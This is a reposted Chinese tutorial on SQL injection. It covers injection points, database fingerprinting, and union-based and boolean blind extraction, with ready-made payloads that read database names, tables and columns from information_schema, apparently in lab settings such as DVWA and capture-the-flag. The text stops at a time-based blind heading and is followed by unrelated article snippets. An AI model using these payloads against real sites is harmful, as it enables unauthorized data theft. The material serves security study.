Web安全:SQL注入

news2024/9/9 4:01:45

一、SQL注入三要素

1、用户可以对输入的参数值进行修改。

2、后端不对用户输入的参数值进行严格过滤。

3、用户修改后的参数值可以被带入后端中成功执行,并返回一定结果。

二、SQL注入原理

        简单来说,用户输入的值会被插入到SQL语句中,然后发送到数据库执行,当用户输入的内容经过引号或者双引号等东西的闭合,造成用户输入的内容被解析成SQL指令去执行。

  例如:用户输入的参数会被插入到$id上。

"SELECT * FROM users WHERE id=$id LIMIT 0,1"

  而用户可以通过输入参数将SQL语句修改成一下语句,进而在数据库运行获得想要的数据。

"SELECT * FROM users WHERE id=-1 union select 1,database(),version() LIMIT 0,1"

        SQL 注入攻击:通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是SQL 语法里的一些组合,通过执行SQL 语句进而执行攻击者所要的操作。

        SQL 注入主要原因:程序没有细致地过滤用户输入的数据,致使非法数据入侵系统,出现开发人员预期外的事件。

三、SQL分类

四、SQL注入流程

1.判断SQL注入点

表单提交:POST 请求、GET 请求

URL 参数提交:GET 请求参数

HTTP 请求头部:Referer(IP地址源)、User_Agent(用户代理UA注入)、X-Forwared-ForCookie(XFF注入)

2、判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断

端口扫描

如果可以使用Nmap对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432

根据注释符判断

        “#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格

        “null”“%00”是Access支持的注释。“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

        “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

根据其返回的错误类型

ORACLE
        ORA-01756:quoted string not properly terminated
        ORA-00933:SQLcommand not properly ended


MS-SQL
        Msg 170,level 15, State 1,Line 1
        Line 1:Incorrect syntax near ‘foo
        Msg 105,level 15,state 1,Line 1
        Unclose quotation mark before the character string ‘foo

MYSQL

 SQL Server

基于数据库特性 

某些函数为数据库所特有,可以判断通过执行特殊的函数来判断数据库类型。

3.判断参数类型

判断闭合方式

        使用双引号”、单引号‘、括号)等,判断参数的闭合方式,如果是双引号,则在参数键入一个双引号会报错。如果是单引号或者括号,则对应键入单引号或括号会报错。

数值型

        数值型不带任何符号,键入任何符号都会报错。

select * from user where username = 1;
字符型

        字符型带符号,需要键入相对应的符号,进行闭合方式的判断。

select * from user where username = "zhangsan";

闭合:可以使得原语句参数位置结束,方便我们插入新恶意语句,使得恶意语句被当作SQL语句来命令执行。

4.利用注入方式

MYSQL的系统表

information_schema

select * from information_schema.COLUMNS
//查询系统表结构
表名注释

schemata

提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表

tables

提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema、表类型、表引擎、创建时间等信息。show tables from schemaname的结果取之此表

columns

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表

MYSQL的注释方式

        --%20(url编码%20相当于空格,相当于--+)、#(在url里不可用)

联合注入

        通过修改闭合参数,添加修改查询SQL语句,以此获得目标信息。

1.联合查询语句构造步骤:

        a.确定查询的列数:通过构造不同的注入语句并观察返回结果的变化,逐渐增加联合查询语句中的列数,直到不再返回错误或异常。

        通过Order获取确定的列数,一直尝试直到不报错。

?id=2' order by 3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        b.确定可用的列:通过构造注入语句并使用 UNION SELECT 语句,逐个测试每个列,以确定哪些列返回了有效的数据。

        通过Select获取有回显的有效列

?id=-2' union select 1,2,3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

可以发现具有回显的有效列为2和3。 

        c.获取表数据:使用注入语句和SELECT 语句来获取表中的数据。

2.联合查询语句

        确定了具体的列数和有效回显列后,就可编写具体的联合查询语句获得相关的数据。

        获取数据库名和版本信息;

?id=-1' union select 1,database(),version() --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        获取表名信息,其中group_concat(table_name)是一个MySQL函数,用于将查询结果中的多个行合并成一个字符串,并以逗号分隔;

?id=1' union select 1,group_concat(table_name)  from information_schema.tables where TABLE_SCHEMA=database()#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

         获取表内的列名信息

1' union select 1,group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users' and TABLE_SCHEMA='dvwa'#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

布尔盲注 

        布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

1.盲注思路

盲注需要考虑多种情况,一般思路如下:

  • 爆库名长度
  • 根据库名长度爆库名
  • 对当前库爆表数量
  • 根据库名和表数量爆表名长度
  • 根据表名长度爆表名
  • 对表爆列数量
  • 根据表名和列数量爆列名长度
  • 根据列名长度爆列名
  • 根据列名爆数据值

2.盲注原理

  正确的情况和错误的情况返回的页面不一样

?id=3' and 1=1 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为真页面

?id=3' and 1=2 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为假页面 

        通过穷举,验证真假,可以猜出数据库的信息。

3.盲注常用函数

  substr(str,from,length):返回从下标为from截取长度为length的str子串。首字符下标为1。

  length(str):返回str串长度

4.盲注步骤

        爆数据库名长度

        首先,通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

?id=1' and length(database())>1 --+
?id=1' and length(database())>2 --+
?id=1' and length(database())>3 --+
....
//单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

         这里推荐用二分查找法找出具体的长度信息

        根据库名长度爆库名

        获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符。注意substr(database,i,1),i从1开始(第i个字符)

?id=1' and substr(database(),1,1)='a' --+

//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        这部分可以写脚本进行自动化测试。  

        对当前库爆表数量

        下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环。

?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=1 --+

//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        根据库名和表数量爆表名长度

        得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度。

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1 表示从第0条记录开始,取出1条结果。MYSQL中索引从0开始,所以取出的是第0条记录。
//要有两个括号

        根据表名长度爆表名

        再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名。

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1:其中0可修改,用于遍历所有表,从0开始,到表数量-1。
//substr(str,from,length):from可以从1遍历到表长度,length固定为1。
//再遍历等于a到z

        对表爆列数量

        操作同对当前库爆表数量的步骤,只是要查询的表为information_schema.columns。

?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=1 --+
//flag要改为上一步获得的表名
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        根据表名和列数量爆列名长度

        操作同对当前库爆表名长度的步骤,遍历0~列数-1

?id=1' and length((select COLUMN_NAME from information_schema.columns where table_schema='dvwa' and table_name='users' limit i,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

         根据列名长度爆列名

         操作同对当前库爆表名的步骤

?id=1' and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit i,1),j,1)='a' --+
//i遍历列0~列数-1
//j遍历列各个字符1~列长度

        根据列名爆数据

        flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束。

?id=1' and substr((select flag from sqli.flag limit i,1),j,1)='}' --+
//遍历flag列的每一行查看是否符合flag的格式,符合即可得出答案。
//i从0~行数-1
//j从1到字符串长度
时间盲注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1918113.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PHP单商户微店b2c商城微信小程序系统源码

打造专属线上购物空间🛍️ 🚀【开篇:解锁新零售时代新风尚】🚀 在这个数字化飞速发展的时代,线上购物已成为我们日常生活不可或缺的一部分。对于单商户而言,拥有一个专属的B2C商城微信小程序,…

智驾内卷“全国都能开” 极越纯视觉追求更安全、更舒适

文 | 智能相对论 作者 | 周晚 汽车圈这么和谐的画面真是难得看到。 这几天,理想不依赖高精地图的NOA功能开始全国推送,极越CEO夏一平第一时间发视频送去了祝福。 “恭喜理想无图NOA全国推送,极越汽车愿意和大家一起努力。” 看多了车圈互…

ENSP实现防火墙区域策略与用户管理

目录 实验拓扑与要求​编辑 交换机与防火墙接口的配置 交换机: 创建vlan 接口配置 防火墙配置及接口配置 防火墙IP地址配置 云配置​编辑​编辑​编辑 在浏览器上使用https协议登陆防火墙,并操作 访问网址:https://192.168.100.1:844…

【信创】信创云规划设计建设方案(2024PPT原件)

信创,即“信息技术应用创新”。我国自主信息产业聚焦信息技术应用创新,旨在通过对IT硬件、软件等各个环节的重构,基于我国自有IT底层架构和标准,形成自有开放生态,从根本上解决本质安全问题,实现信息技术可…

FastAPI 学习之路(四十一)定制返回Response

接口中返回xml格式内容 from fastapi import FastAPI, Responseapp FastAPI()# ① xml app.get("/legacy") def get_legacy_data():data """<?xml version"1.0"?><shampoo><Header>Apply shampoo here.</Header&…

SpringBoot日常:封装rabbitmq starter组件

文章目录 逻辑实现RabbitExchangeEnumRabbitConfigRabbitModuleInfoRabbitModuleInitializerRabbitPropertiesRabbitProducerManagerPOM.xmlspring.factories 功能测试application.yml配置生产者&#xff1a;消费者&#xff1a;测试结果&#xff1a;总结 本章内容主要介绍编写一…

自闭症孩子能否正常上普校:一场充满挑战与希望的探讨

在教育的舞台上&#xff0c;自闭症孩子​​​​​​​能否正常融入普通学校&#xff0c;是一个备受关注且充满争议的话题。 支持自闭症孩子上普校的观点认为&#xff0c;普通学校能为他们提供更接近真实社会的环境。在普校中&#xff0c;自闭症孩子有机会与不同类型的同学交流互…

javaweb学习day5--《HTML篇》Springboot的模块创建、HTML的相关知识点详解

一、前言 从今天开始&#xff0c;就要启动后端的学习了&#xff0c;Springboot会贯穿到底&#xff0c;一定要跟着小编严谨的去搭建Springboot环境&#xff0c;依赖添加的过程可能需要2分钟左右&#xff0c;读者们要耐心等待一下&#xff0c;搭建好Springboot之后才算正式的开始…

【深度学习入门篇 ②】Pytorch完成线性回归!

&#x1f34a;嗨&#xff0c;大家好&#xff0c;我是小森( &#xfe61;ˆoˆ&#xfe61; )&#xff01; 易编橙终身成长社群创始团队嘉宾&#xff0c;橙似锦计划领衔成员、阿里云专家博主、腾讯云内容共创官、CSDN人工智能领域优质创作者 。 易编橙&#xff1a;一个帮助编程小…

WEB攻防-通用漏洞SQL注入-ACCESS一般注入与偏移注入

ACCESS数据库 Access数据库是Microsoft Office套件中一款小型关系型数据库管理系统 单个数据库文件&#xff1a;Access数据库通常以一个单独的文件形式存在&#xff08;如.accdb或旧版本的.mdb文件&#xff09;&#xff0c;这个文件包含了数据库的所有对象&#xff0c;如表、字…

确保智慧校园安全,充分利用操作日志功能

智慧校园基础平台系统的操作日志功能是确保整个平台运行透明、安全及可追溯的核心组件。它自动且详尽地记录下系统内的每一次关键操作细节&#xff0c;涵盖操作的具体时间、执行操作的用户账号、涉及的数据对象&#xff08;例如学生信息更新、课程调度变动等&#xff09;、操作…

Windows 桌面改造小技巧 · 一键去除快捷方式小箭头和小盾牌

Windows的桌面上&#xff0c;总会有一些不如意的小地方&#xff0c;比如快捷方式上的小箭头和小盾牌图标&#xff1a; 标志挡住了应用图标&#xff0c;显得很难受 这些角标作用如下&#xff1a; 快捷方式角标是用来提示你这是一个快捷方式的&#xff0c;其实这个角标还好&…

充气膜游泳馆安全吗—轻空间

充气膜游泳馆&#xff0c;作为一种新型的游泳场馆&#xff0c;以其独特的结构和众多优点&#xff0c;逐渐受到各地体育设施建设者的青睐。然而&#xff0c;关于充气膜游泳馆的安全性&#xff0c;一些人仍然心存疑虑。那么&#xff0c;充气膜游泳馆到底安全吗&#xff1f;轻空间…

进程的状态和优先级

一.进程的退出 进程内核PCB数据和代码&#xff0c;它们都要占据内存空间&#xff0c;进程退出的核心工作之一就是释放掉自己的PCB数据和代码。 为什么要创建出进程呢&#xff1f;一定是我要进程完成某些任务&#xff01; 当进程退出了&#xff0c;不光光只是退出了这么简单&…

巢链接小程序正式上线!全面开启AI共创新时代

巢链接小程序正式上线&#xff01;全面开启AI共创新时代 &#x1f680; 今天我们官宣&#xff0c;巢链接小程序正式上线啦&#xff01;这是一款致力于打造连接开发者、创业者和运营者的全新平台&#xff0c;旨在通过共创和分享实现共同成长。快来了解巢链接小程序的诸多功能&a…

普中51单片机:定时器与计数器详解及应用(七)

文章目录 引言定时器工作原理TMOD定时器/计数器工作模式寄存器定时器工作模式模式0(13位定时器/计数器)模式1(16位定时器/计数器)模式2(8位自动重装模式)模式3(两个8位计数器) 定时器配置流程代码演示——LED1间隔1秒闪烁代码演示——按键1控制LED流水灯状态代码演示——LCD160…

抖音机构号授权矩阵系统源码:打造自媒体帝国的新利器

在自媒体风起云涌的时代&#xff0c;抖音作为短视频领域的佼佼者&#xff0c;早已成为内容创作者们争相入驻的热门平台。然而&#xff0c;随着竞争加剧&#xff0c;如何在这场流量大战中脱颖而出&#xff0c;成为每一位自媒体人不得不面对的课题。今天&#xff0c;我们将带您深…

JVM:类加载器

文章目录 一、什么是类加载器 一、什么是类加载器 类加载器&#xff08;ClassLoader&#xff09;是Java虚拟机提供给应用程序去实现获取类和接口字节码数据的技术。类加载器只参与加载过程总的字节码获取并加载到内存这一部分。

【JavaWeb程序设计】JavaBean(一)

目录 一、<jsp:useBean>、<jsp:setProperty>、<jsp:getProperty>的使用 1. 运行截图 2. UserBean.java 3. login.html 4. display.jsp 二、设计求三角形面积 1. 运行截图 2. 设计View&#xff08;inputTriangle.jsp&#xff09; 3. 设计Model&#…

AI发展到现在,国内大模型行业还有哪些机会?

随着各种AI工具的发展&#xff0c;AI领域的竞争格局正在悄然变化。GPT-4o被许多人误解为重大突破的更新&#xff0c;实际上主要是在多模态功能上的增强&#xff0c;而核心智能水平似乎仍停留在GPT-4阶段。这一现象为我们思考AI发展路径和国内大模型行业的机遇提供了新的视角。 …